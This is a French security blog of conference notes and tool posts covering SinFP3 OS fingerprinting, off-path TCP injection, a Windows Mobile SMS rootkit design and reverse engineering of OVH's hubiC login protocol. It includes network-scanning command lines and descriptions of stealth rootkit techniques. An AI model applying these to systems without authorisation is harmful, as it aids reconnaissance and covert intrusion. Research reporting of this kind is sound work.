SinFP3 est maintenant publié, ainsi que les slides de la présentation de l'outil faite à ekoparty et EuSecWest.
Ca se passe ici EuSecWest and ekoparty - SinFP3 network reconnaissance framework
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lundi, septembre 24 2012
Par GR le lundi, septembre 24 2012, 21:47 - Outil
SinFP3 est maintenant publié, ainsi que les slides de la présentation de l'outil faite à ekoparty et EuSecWest.
Ca se passe ici EuSecWest and ekoparty - SinFP3 network reconnaissance framework
jeudi, juillet 12 2012
Par GR le jeudi, juillet 12 2012, 14:20 - Vulnérabilité
Je suis récemment tombé sur un papier intitulé Off-Path TCP Sequence Number Inference Attack - How Firewall Middleboxes Reduce Security [1]. Je ne connaissais pas la classification Off-path, ou littéralement, hors du chemin. Du coup, j'ai regardé de plus près le contenu de celui-ci.
[1] http://web.eecs.umich.edu/~zhiyunq/pub/oakland12_TCP_sequence_number_inference.pdf
Ce papier propose une nouvelle attaque pour injecter un contenu dans une session TCP, depuis le coté client (en mode non-privilégié). La faute serait sur les middle-boxes, telles que nos chères modems ADSL, par exemple, ou autres firewalls NATant. Plus précisémment, celles faisant du suivi de session en se basant sur l' ISN (Initial Sequence Number) de TCP. C'est ici que serait la faille, ce numéro pourrait fuire à cause d'une fuite d'information accessible en off-path.
Pour qu'une session TCP ne soit pas facilement détournable, un numéro de séquence est généré aléatoirement (sur 32-bits). Si ce numéro venait à être prédictible, ou à fuire, un attaquant pourrait insérer un contenu dans la session. Bien sur, l'attaquant devra également connaitre les adresses IP source et destination, ainsi que les ports TCP source et destination.
Qu'est-ce que l' off-path ? C'est différent d'un man-in-the-middle dans le sens ou l'écoute se fait à coté de la communication. Ici, l' off-path se passe sur le poste client, via un malware. Par exemple, les informations IP/ports se trouvent en utilisant la commande netstat. Ensuite, un side-channel permet de découvrir l' ISN possible. Par l'envoi de segments TCP depuis l'extérieur (adresse IP spoofée) avec un TTL ajusté pour émettre un message d'erreur, et par la consultation des statistiques via le /proc filesystem en local, il est possible de savoir si le segment TCP est passé au travers du firewall (ou non). Si il est passé, l' ISN choisi est autorisé par le firewall. Toutes les infos en mains, l'injection dans une session existante est réalisable. Bon, après, il faut avoir le bon timing, mais des propositions concrêtes sont faites dans le papier [1] que je vous invite à lire.
Plus techniquement, un firewall peut avoir plusieurs politiques pour accepter un segment TCP out-of-order, c'est à dire accepter s'il fait bien partie d'une session établie. En gros, l' ISN est dans la fenêtre (TCP window) ou non. Mais pour connaitre cette fenêtre, le firewall doit aussi garder cet état (tailles de la fenêtre initiale) depuis l'initialisation de la connexion TCP. Evidemment, pour des raisons de performance, ce n'est pas fait dans tous les produits. Du coup, certains firewalls utilisent une fenêtre hardcodée de 1 000 000 000 (1G), par exemple. Ca réduit l'espace des possibles. Il y a d'autres méthodes de suivi de l' ISN, je vous invite à lire le papier.
En gros, tous les dispositifs se reposant sur le suivi de session utilisant l' ISN sont vulnérables de manière plus ou moins critique. Mais la contrainte pour exploiter cette menace est de taille, un malware (non privilégié) doit être installé sur le poste de la victime. Je serai un malware, je ferai autre chose qu'injecter du contenu dans une session TCP ;) genre installer un plugin navigateur Web pour avoir un accès lecture/écriture au contenu.
vendredi, juin 8 2012
Par GR le vendredi, juin 8 2012, 14:23 - Compte-rendu
Fabrice Desclaux - CEA
Présentation d'un framework de reverse engineering écrit en Python; Composants : Miasm, Elfesteem, Grandalf.
Excellente fonction : émulateur de code (reverse dans une sandbox). Recherche automatique de comportements à risque (exemple : un paramètre est controlé par l'utilisateur et permet d'écrire EIP). Ce mode est basé sur des règles écrites par le reverser.
Une présentation de furieux ^^
Outil : http://code.google.com/p/miasm/.
Guillaume Delugre - SOGETI
Le baseband est le processeur en charge de gérer les communications du réseau téléphonique. Sur un smartphone, un autre processeur est utilisé pour le système. Une clé 3G ne possède que le processeur baseband. L'orateur s'est attaqué à cette clé 3G. Utilisation d'une interface série sur USB pour exécuter des commandes de debug sur le baseband. Exemple : dump complet de la mémoire. Le processeur est basé sur du ARMv5. L'orateur a créé son propre débugueur pour ce matériel.
Il a pu écrire du shellcode, utiliser les commandes de diagnostic via l'accès série/USB pour l'écrire en mémoire, puis l'exécuter sur le baseband. C'est un code qui permet d'avoir un proxy GDB pour aider au debug. Pas mal.
Outil : http://code.google.com/p/qcombbdbg.
Arnaud Coustilliere - Ministère de la Défense
Une présentation pas très intéressante (malheureusement).
Par GR le vendredi, juin 8 2012, 11:30 - Compte-rendu
Pas de compte-rendu pour les trois premières conf (pour cause de social event).
Eric Leblond
Slides : https://home.regit.org/2012/06/transparents-de-ma-presentation-au-sstic/ Blog : https://home.regit.org/2012/06/opensvp-a-new-tool-to-analyse-the-security-of-firewalls-using-algs/.
Clément Lecigne - Google
Netusse, un kernel fuzzer (de socket) qui existe depuis 2006. Google SoC de 2006 pour tester la solidité de la pile FreeBSD.
Développement pour tester sur les failles déjà existantes pour voir si l'outil les détecte. FreeBSD :
Note : Récupérer le lien de cette présentation (qui n'est pas dans les actes).
Description de l'exploitation des failles heap overflow sous FreeBSD.
Démo : un beau 0day sur kernel FreeBSD 8.2 et 8.3.
Outil : https://code.google.com/p/netusse/.
Etienne Millon - EADS Innovation Works
Vérification de code système par typage statique. Donc, une conf sur l'analyse statique ^^ Le typage des variables est fait lors de la compilation.
Outil : http://penjili.org/.
Ronan Mouchoux - CERT La Poste - @yenos
Détection de domaines malveillants par analyse sémantique et mathématique.
Spoofing des réponses DNS pour rediriger le trafic vers une machine (firewall) de contrôle. Les requêtes DNS sont analysées afin de détecter l'utilisation de noms de domaines aléatoires (cas des botnets). Utilisation du filtrage bayésien pour classer les noms de domaines comme malveillant ou non.
Limitations :
Ces noms de domaines sont générés par un DGA (Domain Generation Algorithm). Ils correspondent aux serveurs de Command & Control utilisés dans le botnet. Merci à Kevin pour cette information que j'avais ratée.
Halvar Flake - Google
De plus en plus d'entreprises investissent dans l'analyse statique. Probablement des millions de bugs ont été corrigés grâce à cela. Ce sont les hackers qui ont poussé les entreprises dans cette direction.
Explication de la faille CrackAddr() de Sendmail datant de 2003. Une attaque sur la machine à état du parsing des adresses emails. Un état n'était pas correctement géré, et une suite de () permettait d'écrire au delà de la taille d'un buffer local (stack overflow). Une simple décrémentation était manquante dans le code.
Comment l'analyse statique peut détecter ce genre de bug ? les outils actuels n'y arrivent pas.
Les navigateurs sont déplacés dans des sandboxes aujourd'hui. Comme ça, la compromission du navigateur n'entraîne pas la compromission des données de la machine. Mais comme toutes ces données sont de plus en plus déplacées dans le Cloud ...
La complexité des programmes a maintenant dépassé notre capacité à les comprendre.
Note : version originale : Our ability to construct software has exponentially outpaced our ability to understand software
Nos outils d'analyse ne permettent de comprendre qu'une petite île dans un énorme océan. Nous devrions considérer que l'ouverture de n'importe quel document est l'équivalent à l'ouverture d'un exécutable (page web, PDF, Word, ...) et se protéger contre ça.
jeudi, juin 7 2012
Par GR le jeudi, juin 7 2012, 14:16 - Compte-rendu
Mem Zythom - Expert judiciaire et blogueur
Expert judiciaire n'est pas un métier, c'est une activité exercée en parallèle de son métier. Il intervient à la demande des magistrats pour donner des éclaircissements. Il est désigné. Il faut être inscrit sur une liste. Pour celà, il est nécessaire d'en faire la demande par le dépot d'un dossier auprès du procureur de la République. Un certain nombre de conditions sont à remplir (longue liste).
Une suite d'exemples d'expertise (instruction, commerce, civil, privée).
Zoom sur la partie inforensique de l'expertise. Utilisation d'outils gratuits et commerciaux.
Le rôle de l'expert judiciaire doit comprendre techniquement les problèmes afin de pouvoir les expliquer au magistrat. Son rôle n'est pas de prendre des décisions. Ensuite, il évoque les problèmes rencontrés au cours de son activité :
Ce dernier point est très formateur sur le management de réunions de crises.
Jean Sigwald - SOGETI Jean-Baptiste Bédrune - SOGETI
Comment obtenir une image sur disque d'un terminal iOS et la déchiffrer. Extraction :
Pour l'extraction physique, il est nécessaire d'avoir un accès root (jailbreak). Inconvénient : ca laisse des traces, pas terrible dans le cadre de l'inforensique. Avec certaines protections, le fichier est même chiffré (versions récentes de iOS).
iOS utilise un secure boot. L'interface USB utilise un protocole Apple (USBMUX : USB/TCP). Elle permet le backup, par exemple. Si il n'y a pas de Jailbreak, il faut passer par des vulnérabilités dans la BootROM (secure boot). Dans ce cas, le code PIN n'est pas nécessaire. La flash est chiffrée en AES-256 avec une clé stockée en hardware (Apple a communiqué sur le fait que ces clés sont générées de manière aléatoire en usine et que personne n'y a accès).
Historique des améliorations au niveau protection cryptographique de iOS.
Une démo.
Comme j'ai un peu déccroché, je passe la main à @g4l4drim : http://www.n0secure.org/2012/06/sstic-2012-analyse-forensic-de.html
J'ai malheureusement dû rater les rump sessions :(
Par GR le jeudi, juin 7 2012, 09:29 - Compte-rendu
Julien Lancia
Je n'ai pas suivi cette conf, je vous renvoie chez n0secure : http://www.n0secure.org/2012/06/sstic-2012-compromission-dune.html
Fernand Lone Sang - LAAS-CNRS Vincent Nicomette Yves Deswarte
Complexité croissante de la protection des systèmes d'exploitation. Etude des attaques hybrides (logiciels + matériels). Focus principal sur les attaques par entrées/sorties des composants matériels.
Pour étudier ces attaques et avoir un grand contrôle sur les tests, ils ont développé leur contrôleur en utilisant un FPGA. Ce contrôleur d'entrées/sorties se nomme IronHide.
Rappels sur l'architecture matériel et la gestion de la mémoire (espace mémoire, port I/O, PCI, PCI-Express). Focus sur PCI-Express. C'est un modèle en couches (physique, liaison, transaction et logique du contrôleur). Dans la couche transaction, nous avons les I/O, la configuration, les accès mémoire ainsi le message "applicatif".
Détails d'architecture d' IronHide.
Cet outil permet de générer tout type de paquets (valides, invalides). Le firmware est écrit en langage C. Il souffre actuellement de problèmes de performance (5 Mo/s).
Expérimentations :
Dans les tests, des dénis de service sont possibles sur l' I/O MMU, même avec des paquets valides lors de certains accès mémoire.
Démonstration d'une attaque : interception à distance des frappes claviers (accès arbitraire à la mémoire). Les paquets sont construits en utilisant Scapy. Leur méthode d'accès mémoire contourne les protections de l' IO/MMU, puisqu'ils utilisent directement les ports I/O.
Travaux futurs :
Romain Beeckman - Directeur Juridique - OVH
Conférence invitée.
Pas de slides, donc pas de compte-rendu. Na ! Et puis c'est une conf juridique ;)
Je note quand même des trucs ; réponses à des questions comme :
Axel Tillequin Fabien Perigaud Florent Marceau
Par Julien Perrot (le grand gagnant du challenge). Un très bon travail de reverse.
Anthony Desnos - VirusTotal
Elsim + Androguard = Androsim Analyse automatique de programmes pour détecter les similarités entre codes et/ou bibliothèques. Le but est de trouver si un programme non-malicieux a été patché pour des fins malicieuses et/ou publicitaires. Détection à base de signatures, et surtout d'algorithmes de recherche de similarité. Tests sur le top des jeux Android : une majorité de code publicitaire (17% de code utile pour AngryBirds).
http://code.google.com/p/elsim/ http://code.google.com/p/androguard/
Davide Canali - EURECOM
Analyse des attaques Web par l'utilisation de Honeypots. Très peu d'études sur le début des attaques et sur ce que font les pirates ensuite. Setup : 500 sites Web avec 7 CMS (+ Web shells) chacun et 100 noms de domaines. Redirection via un proxy vers 7 VMs.
Outils permettant de voir :
3 mois de collecte :
Attaques les plus fréquentes (69 000 attaques détectées) :
Les classes d'attaquants, analyse basée sur les fichiers uploadés :
Pierre Karpman - ENS Cachan / Supélec
Durcissement de programmes C avec SIDAN.
But : détecter :
Des listes d'invariants :
SIDAN est implémenté comme plugin dans Frama-C.
Ces travaux se rapprochent de ceux d' endrazine présentés au CCC de décembre 2012. http://www.slideshare.net/endrazine/ccc28c3-post-memory-corruption-memory-analysis
Damien Gros - thésard - CEA
Le modèle DAC est limité. Difficile à mettre en place de manière globale dans le cadre d'une politique globale. Confidentialité et intégrité sont également manquants dans ce modèle. La solution est le Controle d'Accès Mandataire (MAC). Pour Linux : SELinux, SMACK, TOMOYO, RSBAC.
Implémentation d'un équivalent à SELinux (de type Type Enforcement) sous Windows 7 en utilisant l' API hooking sur la SSDT (32-bits). L'outil permet aussi de créer automatiquement une politique de base par l'analyse d'un processus s'exécutant.
mercredi, juin 6 2012
Par GR le mercredi, juin 6 2012, 14:48 - Compte-rendu
S. Renaud - Quarkslab K. Szkuldlapski - Quarkslab
Ca commence par un diff binaraire entre Windows 7 RTM et Windows 8 CP (kernel). Une fonction intéressante en est sortie: ()''. Interface Metro. Il existe des applications (App). Il faut absolument passer par le Windows Store. Les App :
Tout passe toujours par la base de registre (HKCU pour des modifications par utilisateur).
Capacités :
Microsoft donne un certain nombre de requirements pour les App:
Même si on peut exécuter des applications natives depuis une App, ces applications seront sandboxées (héritage). La sandbox est basée sur un mécanisme de jeton pour l'attribution de permissions d'accès aux ressources de la machine. Mais impossible d'empêcher l'appel à des syscall(), et pas possible de sécuriser l'accès à des partitions FAT. Les données de communication transitent sur le port ALPC.
Conclusion : la fonction NtCreateLowBoxToken() permet une bonne isolation des App.
Garance Mathias - Avocate
La présentation juridique du SSTIC.
Le droit ne connait pas la notion d'information ni de système d'information. Il connait uniquement la notion de donnée, ou la notion de secret des affaires. Il existe aussi le droit à l'information du public et à la vie privée et au respect des correspondances (également appelé droit à l'intimité). Le droit à la vie privée des entreprises est un droit en construction (exemple : le bulletin de paie du patron de l'entreprise n'a pas le droit d'être divulgué). Question : qui est responsable de l'information ? Qui est responsable des BYOD ? Si mon bien est volé sur mon lieu de travail (si je m'en sers pour réaliser ma mission), ce sera l'employeur qui sera responsable. Nécessité de protéger son système information (mesures physiques, techniques, formation, sensibilisation) pour pallier le risque d'insécurité juridique.
"Celui à qui vous dites votre secret devient maitre de votre liberté". La Rochefoucault
Géraud de Drouas - ANSSI Pierre Capillon - ANSSI
Rôle de serveur de contrôle d'accès au système d'information et d'annuaire global.
Difficile d'auditer des objets dans un annuaire de grande taille (1_000_000+ objets). Problème : les données resterons compromises lors du transfert d'un serveur attaqué vers un serveur sain.
L'objet intéressant : le DACL qui décrit les permissions d'un utilisateur. Comment récupérer ces données sans :
Le fichier .dit dans le répertoire \\Windows\\NTDS ne peut être copié de manière simple. Mais une commande permet de l'exporter (toute la base). Un outil a été réalisé pour automatiser cette extraction. Cette base de donnée n'est malheureusement pas dans un format standard (genre SQL), il faut donc la convertir pour aider à l'analyse.
Ce format est horrible : un genre de matrice dans laquelle il faut faire de nombreuses déréférences pour trouver l'information souhaitée. Mais grâce à leur outil, ça devient facile : il suffit de cliquer pour ajouter des filtres et révéler les comptes en anomalie. Outil qui semble très efficace pour aider l'auditeur.
Note : les ACE des systèmes de fichiers ou autres SharePoint fonctionnent de la même manière.
L'outil ne sera disponible que sur la base de demandes individuelles (en gros). Mais tous les détails d'implémentation sont disponibles dans les actes.
Bernard Ourghanlian - Directeur Technique et Sécurité Microsoft France
Toutes les nouveautées ne seront pas présentées (pas assez de temps). Améliorer la protection de bout en bout afin de protéger le terminal.
Question : Qu'est-ce que ce mode multicast pour WDS ? L'orateur nous parle d'installation de programme en multicast :/ Note : WDS c'est Windows Deployment Service.
Boot sécurisé :
Utilisation de cartes à puce virtuelles :
Direct Access :
Authentification client :
Contrôle d'accès static (classique) et aussi dynamique :
Vraiment pas assez de détails techniques, une vraie présentation marketo-vendor-pitch.
Fred Raynal Nicolas Fischbach Philippe Biondi
Par GR le mercredi, juin 6 2012, 10:15 - Compte-rendu
PaX team - plus qu'une personne sur trois dans l'équipe
Introduction sur ce que PaX est aujourd'hui. Modèle de menace: accès aribitraire à la mémoire (userland, kerneland) en lecture/écriture. Il vaut mieux dépenser son temps à prévenir l'exploitation des bugs que de les chercher. Une fonction importante: kernel self-protection. Nous n'aborderons dans ce compte-rendu que cette fonction qui est moins connue.
Quelques techniques d'exploitation :
Fonctions de kernel self-protection :
Certaines fonctions implémentées dans PaX ont été inspirées par le reverse engineering de Windows 95 (durant les années 90). Ces fonctions nécessitent une mise à jour de la toolchain de compilation : plugin gcc, par exemple. Quelques plugins :
Les futures protections :
Et beaucoup d'autres protections basées sur des plugins compilateur. Cela semble être le meilleur moyen aujourd'hui d'avoir des protections génériques. Le support LLVM/clang est également envisagé.
Les hyperviseurs : ils ajoutent une couche de complexité dans le système, et donc abaissent la sécurité du système. Le support ARM est prévu, mais seulement les fonctions compilateur et userland (beaucoup plus difficile pour le kerneland).
Olivier Levillain - ANSSI
Description du fonctionnement du protocole de communication ("SSLv3/TLSv1.*) (ClientHello, ServerHello'', ...). Le client propose des algorithmes crypto, le serveur choisi.
SSLv2 (1995) à proscrire pour des raisons de faiblesses sécuritaires. Ce protocole tend à disparaitre. SSLv3 (1996) : problèmes avec la vieille implémentation. Ces problèmes sont corrigés par TLSv1.0.
Mais attaque à clair-choisi adaptative sur TLSv1.0 (Rogeway 2002). Corrigée dans TLSv1.1. Dans TLSv1.2, nouveaux algorithmes de gestion de l'authentification. Comme DHE/ECDHE qui assure la PFS (Perfect Forward Secrecy), afin qu'une caputre de session à un instant t ne puissent pas être déchiffrée dans le future.
Test de différents navigateurs pour le support des différentes version du protocole :
Test de différents serveurs sur le support des différentes version du protocole. Scan de serveurs avec sslscan. A voir : référentiel RGS.
Test automatisé des navigateurs : http://ssltest.offenseindepth.com.
Le magasin de certificat : différents programmes utilisent différents magasins. Des avantages et des inconvenients à l'utilisation de magasins. Le magasin sous Linux est dans $HOME/.pki.
Note : Voir l'IDS Suricata.
Aucune réponse dans cette présentation concernant la gestion de la confiance globale au système (les PKI). Aucune étude non-plus sur le certificate pinning.
Frédéric Guihery Georges Bossert Guillaume Hiet
De nombreux protocoles (propriétaires ou non) qui ne sont pas documentés. Un des buts de la rétro-conception est le fuzzing de l' API, ou l'écriture de règles d' IDS. La communauté est globalement dépourvue d'outils d'analyse (processus manuel et visuel).
Découpage du message brut en couches, puis champs. Les champs possèdent une liste d'attributs qui donneront la sémantique (optionnelle). La partie découpage en champ (automatisé) est basée sur un algorithme issu de la bio-informatique. Classification des messages (regroupés par similarité) aussi basé sur un algorithme issu de la bio-informatique.
Fonctions de l'outil :
Démo : découpage (presque) automatique de messages Ehernet/IP/UDP/DNS. Démo : instrumentation d'un serveur TCP pour inférence des différents état d'un protocole.
Note : aHR0cDovL2dvby5nbC9pOFo3UA==
prompt$ perl -MMIME::Base64 -e 'print decode_base64("aHR0cDovL2dvby5nbC9pOFo3UA=="),"\n"'
http://goo.gl/i8Z7P
prompt$ printf "GET /i8Z7P HTTP/1.1\r\nHost: goo.gl\r\n\r\n" |nc goo.gl 80 |grep http
Location: http://sarssi-conf.org/SAR-SSI2011-Programme.pdf
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Arnaud EBALARD - ANSSI Aurélien Bordes - ANSSI Raphaël Rigo - ANSSI
Microsoft recommande l'utilisation des RPC via la MMC et non pas de RDP. Initialement uniquement un protocole de déport d'affichage, mais étendu ensuite avec de nouvelles fonctions (énormément, tellement qu'il est lié à tout le système au final). 2000 pages de documentation sur le site de Microsoft ...
RDP participe simplement à la mise en place de canaux de communication entre composants (matériel ou logiciel). Protocole complexe : 8 messages pour établir une session.
Démo : recupération de la clé RSA (512-bits) depuis une capture de paquets. Factorisation du RSA, puis rejeu du traffic déchiffré : accès mot de passe admin et tout le déport de session. C'est beau. Pas de perfect forward secrecy.
Pour corriger ces erreurs de sécurité, Microsoft a introduit Enhanced RDP Security (pour remplacer le Standard RDP Security) :
Un protocole avec beaucoup de fonctions (même pour la sécurité), mais (presque) pas configurable. Une logique étrange pour le client Microsoft RDP au fil des versions (exemple : certificats X.509 doivent être formés d'une manière particuilère).
Démo :
Finalement, le passage à TLS n'a pas vraiment amélioré la sécurité de RDP. Conclusion : l'utiliser sur un réseau vraiment sécurisé.
samedi, avril 14 2012
Par GR le samedi, avril 14 2012, 12:44 - Outil
SinFP version 3.00 est en cours de finalisation. GomoR'' recherche des bêta testeurs pour rapporter d'éventuels bugs ou problèmes. Si vous voulez certaines fonctionnalités, c'est aussi maintenant qu'il faut lui demander ;)
SinFP, pour les incultes, c'est ici : http://www.gomor.org/sinfp .
Fonctionnalités actuelles pour la version 3.00 :
Les volontaires peuvent contacter GomoR (GomoR(at)gomor.org).
Exemples d'utilisations :
# IPv4 active fingerprinting $ sinfp3.pl -target gomor.org -port 80 # IPv6 active fingerprinting $ sinfp3.pl -6 -target gomor.org -port 80 # IPv4 active fingerprinting with a threshold for matching score $ sinfp3.pl -target gomor.org -port 80 -output Console -output-arg threshold=95 # Export of SinFP's database active signatures $ sinfp3.pl -output Export -input Null -search Null -mode Null # ARP discover and fingerprint, output as XML $ sinfp3.pl -input ArpDiscover -input-arg port=22,80,139,445 -mode Active -outpu t XML # Connect mode OS fingerprinting $ sinfp3.pl -input Connect -mode Active -output Console -input-arg ip=192.168.10 0.12 -input-arg port=80 # Output in Ubigraph after scanning a subnet $ sinfp3.pl -input Subnet -input-arg 172.16.1.0/24 -port 80,139,22 -mode Active -output Ubigraph
dimanche, janvier 29 2012
Par GR le dimanche, janvier 29 2012, 18:02 - Reverse
Votre serviteur s'est intéressé au cloud storage tel qu'implémenté par hubiC. Malheureusement, OVH ne fournit pas encore de binaire pour Linux. Eh oui, OVH a choisi de rendre disponible son espace de stockage uniquement via un client lourd. J'ai décidé d'analyser ce programme afin rendre ce cloud storage interopérable avec mon système (c'est légal).
Tout d'abord, certaines personnes arrivent à se connecter depuis Linux. Ces personnes possédaient un compte CloudNAS, le prédécesseur d'hubiC. Pour ces personnes, pas de problèmes. Pour les nouveaux arrivants (comme moi), le sytème de gestion des comptes d'OVH a changé. Un WAS (Web Application Service) est utilisé pour gérer les crédences d'hubiC. En analysant le programme Windows, je me suis aperçu que le client hubiC effectue 3 requêtes avant d'obtenir les informations qui serviront ensuite à la connexion WebDAV. Pour pouvoir se connecter, il est nécessaire d'avoir :
Les 3 requêtes sus-mentionnées sont destinées au serveur ws.ovh.com et permettent d'obtenir ces trois informations indispensables à la connexion WebDAV. Sans plus tarder, voici ces requêtes (en mode raw), toutes à destination de ws.ovh.com en HTTPS :
Requête POST nasLogin :
'POST /cloudnas/r0/ws.dispatcher/nasLogin HTTP/1.1'."\r\n". 'Content-Type: application/x-www-form-urlencoded'."\r\n". 'User-Agent: hubiC/1.0.9 (Windows NT 6.1; fr_FR)'."\r\n". 'Content-Length: 126'."\r\n". 'Connection: Keep-Alive'."\r\n". 'Accept-Encoding: gzip'."\r\n". 'Accept-Language: fr-FR,en,*'."\r\n". 'Host: ws.ovh.com'."\r\n". ''."\r\n". 'session=¶ms=%7B%20%22email%22%20%3A%20%22<login>%22%2C%20%22password%2 2%20%3A%20%22<password>%22%20%7D'."\r\n". "\r\n";
Requête POST getNas :
'POST /cloudnas/r0/ws.dispatcher/getNas HTTP/1.1'."\r\n". 'Content-Type: application/x-www-form-urlencoded'."\r\n". 'User-Agent: hubiC/1.0.9 (Windows NT 6.1; fr_FR)'."\r\n". 'Content-Length: 54'."\r\n". 'Connection: Keep-Alive'."\r\n". 'Accept-Encoding:gzip'."\r\n". 'Accept-Language: fr-FR,en,*'."\r\n". 'Host: ws.ovh.com'."\r\n". ''."\r\n". 'session=<id>'."\r\n". "\r\n";
Requête POST getCredentials :
'POST /cloudnas/r0/ws.dispatcher/getCredentials HTTP/1.1'."\r\n". 'Content-Type: application/x-www-form-urlencoded'."\r\n". 'User-Agent: hubiC/1.0.9 (Windows NT 6.1; fr_FR)'."\r\n". 'Content-Length: 54'."\r\n". 'Connection: Keep-Alive'."\r\n". 'Accept-Encoding: gzip'."\r\n". 'Accept-Language: fr-FR,en,*'."\r\n". 'Host: ws.ovh.com'."\r\n". ''."\r\n". 'session=<id>'."\r\n". "\r\n";
Et voilà. Ca va renvoyer les trois précieuses informations.
Certains pourraient me demander : mais comment avez-vous fait pour avoir ces informations ? Le serveur d'hubiC est en HTTPS ; on ne peut pas écouter la conversation entre le client et le serveur. Effectivement, sauf que le client tourne sur mon système. Rien ne m'empêche de brancher un débuggeur sur mon programme sur ma machine. En deux mots : OllyDbg, SSL_write.
Bon, comme j'aime aussi le Perl, je fournis le programme qui permet de récupérer les précieux sésames : http://www.protocol-hacking.org/public/hubic.pl
% ./hubic.pl Usage: ./hubic.pl -l login [-d] [-h] % ./hubic.pl -l <mon_login_genre_une_adresse_email> Password: URL: https://cloudnas1.ovh.com/XXXXXXXXXX/ Login: cloudnas Password: YYYYYYYYYY mount -t davfs https://cloudnas1.ovh.com/XXXXXXXXXX/ /mnt
Maintenant, hubiC fonctionne sur tous les systèmes supportant un client WebDAV.
UPDATE : la presse en parle :
UPDATE : autres versions du programme :
samedi, janvier 7 2012
Par GR le samedi, janvier 7 2012, 17:57 - Vulnérabilité
C'est l'heure du billet annuel, pour vous souhaiter une belle et heureuse année 2012 en ces temps sombres.
Je ne prends plus vraiment le temps de poster sur ce blog, ça reviendra peut-être. Pour l'heure, je passe deux informations pour ceux qui dorment sous les rochers (et l'hiver ça doit être dur). L'une portant sur une liste impressionnante de failles ciblant FreeBSD [1][2][3][4][5], et l'autre concernant la faille Wi-Fi de l'année (2011, mais qui va occuper les gens en ce début d'année 2012) [6].
Pas moins de 5 avis de sécurité pour FreeBSD. Un 23 décembre. Il parait que certains sysadmins ont râlé. La plus grosse faille étant un remote root sur le serveur telnet [3] (et oui, encore [8]). Pas grave me direz-vous, puisque tout le monde utilise SSH. Fyodor (nmap) ne semble pas d'accord [7]. D'après ses résultats de scan à grande échelle sur Internet, telnet arrive avant SSH comme service de connexion à distance. Tous les systèmes utilisant une version de code BSD-derived sont impactés. Ca nous fait une belle liste, n'est-il pas ? Il paraît que cette faille était là depuis plus de 12 ans. Miam.
Pour le Wi-Fi, c'est une faiblesse dans l'algorithme d'authentification du WPS (Wi-Fi Protected Setup). Une faiblesse sympathique, puisqu'en à peine 11.000 tentatives, il est possible de s'authentifier sur un point d'accès supportant le WPS. Conséquence d'une attaque réussie : fuite de la clé Wi-Fi partagée. C'est beau.
Sur ce, bonne fin de week-end. Et désactivez le WPS si votre équipement vous en offre la possibilité.
mardi, janvier 4 2011
Par GR le mardi, janvier 4 2011, 17:05 - Outil
Pour vous souhaiter la bonne année, et un joyeux Noyel, dans le désordre, voici une nouvelle version du "long awaited" SinFP.
Plus d'info ici : http://www.gomor.org/sinfp
Goulag, je ne me suis toujours pas occupé de ton cas ;)
mardi, juin 15 2010
Par GR le mardi, juin 15 2010, 13:11 - Compte-rendu
Bon, là, je me suis levé un peu tard (social event oblige). Donc, veuillez m'excuser pour le manque de détails concernant les présentations du matin ^^ Mais comme je suis un mec sympa, je vais faire de la pub pour le blog d'Erwan, et mettre des liens vers ses notes pour les présentations que j'ai manqué.
Note : Et pourtant, le CO a fait un effort cette année, puisque la première conférence ne débute pas à 9h :)
Frédéric Guihery
Frédéric Remi
Goulven Guiheux
Renaud Dubourguais
Nicolas RUFF
Mathieu Baudet
Cedric Halbronn (Sogeti/ESEC)
L'orateur commence par nous expliquer quels sont les composants classiques des rootkits :
Contraintes spécifiques aux téléphones mobiles :
Pourquoi avoir choisi Windows Mobile pour développer ce rootkit ?
Le composant d'injection développé ici est par l'insertion d'une SD-card. On peut imaginer aussi en utilisant des méthodes "social engineering" en envoyant un lien Web dans un SMS (lien pointant vers un binaire Windows Mobile). Il est aussi possible d'utiliser un format spécifique des SMS (nommé WAP Push). Il s'agit d'un SMS au format XML (méthode utilisée par le malware Interceptor pour BlackBerry).
Note : certains téléphones exécutent sans confirmation des binaires contenus dans un WAP Push. Mais si l'application n'est pas signée, il y a un popup de confirmation visible à l'utilisateur.
Le rootkit a accès à toutes les API. La première chose à faire est de passer en mode noyau (fonction "SetKMode"). Le modèle de sécurité de Windows Mobile étant pour le moins faible, un processus utilisateur peut appeler cette fonction sans problème. Et vlan, on passe en mode noyau :)
Ensuite, le composant de backdoor doit initialiser la communication TCP/IP depuis le mobile vers l'extérieur (à cause du NAT que la plupart des opérateurs implémentent). Une autre possibilité serait l'utilisation de SMS comme canal de communication (avec une limitation à 140 octets, et le fait que les messages ne doivent pas être visibles à l'utilisateur). C'est l'option retenue pour les tests du rootkit décrit ici.
Un point cruciale lors du développement de ce genre de code malicieux : la gestion de la batterie. En effet, si la batterie se vide plus vite que l'accoutumée, l'utilisateur se rendra compte de quelque chose (toujours le cas BlackBerry). Il faut donc se brancher sur un composant existant dans le téléphone (API hooking, en prenant les commandes AT par exemple) pour se débarrasser de la gestion de la batterie. Aussi, hooker les APIs d'envoi/réception de SMS permet de masquer la fenêtre qui apparait à ce moment là.
Note : un smartphone, c'est 2 CPUs : 1 pour le BaseBand et 1 pour l'OS.
Démo. Outil en interface Web bien flashy pour communiquer avec le rootkit. A la réception d'un SMS, la fonction hookée répond à un ordre donné plus tôt. rootkit pas détectable par les anti-virus actuels.
Harald Welte
Au niveau de la communication téléphone vers BTS (ou BSC ? voir le fichier pdf pour le schéma d'architecture général), le chiffrement est fait à la couche physique (Layer1). Le processeur BaseBand des téléphones à son propre système d'exploitation (firmware) :
Description du chipset BaseBand complète :
GSM Phone Anatomy
OsmocomBB : Open Source MObile COMunication, BaseBand
Démo. L'architecture du software permet de sniffer le réseau GSM depuis un PC standard :) Le fonctionnement est assez simple (mais surement pas l'implémentation). On branche le téléphone sur un port série de l'ordinateur, et le téléphone détecte se branchement au démarrage et démarre sur le firmware qui le souhaite. Ce firmware implémente les fonctions BaseBand, et en plus exporte une interface réseau classique pour pouvoir facilement brancher un Wireshark dessus (par exemple). Du coup, un PC peut servir à développer les fonctions réseau GSM de manière beaucoup plus simple.
Note : il existe aussi la couche UMA : c'est du GSM over IP
Patrick Pailloux (Directeur de l'ANSSI)
Discussion à propos des menaces géo-politiques. L'ANSSI à pour mission principale la cyber-défense. Ce qui inclue la protection :
Ce travail doit se faire avec les homologues internationaux, ce qui ajoute encore une difficulté.
Dans le cadre des missions de l'ANSSI, les armes ne sont pas du coté de l'État, mais du coté des citoyens. Les armes prolifèrent donc du coté des citoyens, et l'État est quelque peu désarmé. Ainsi, il est difficile d'identifier les acteurs des attaques informatiques.
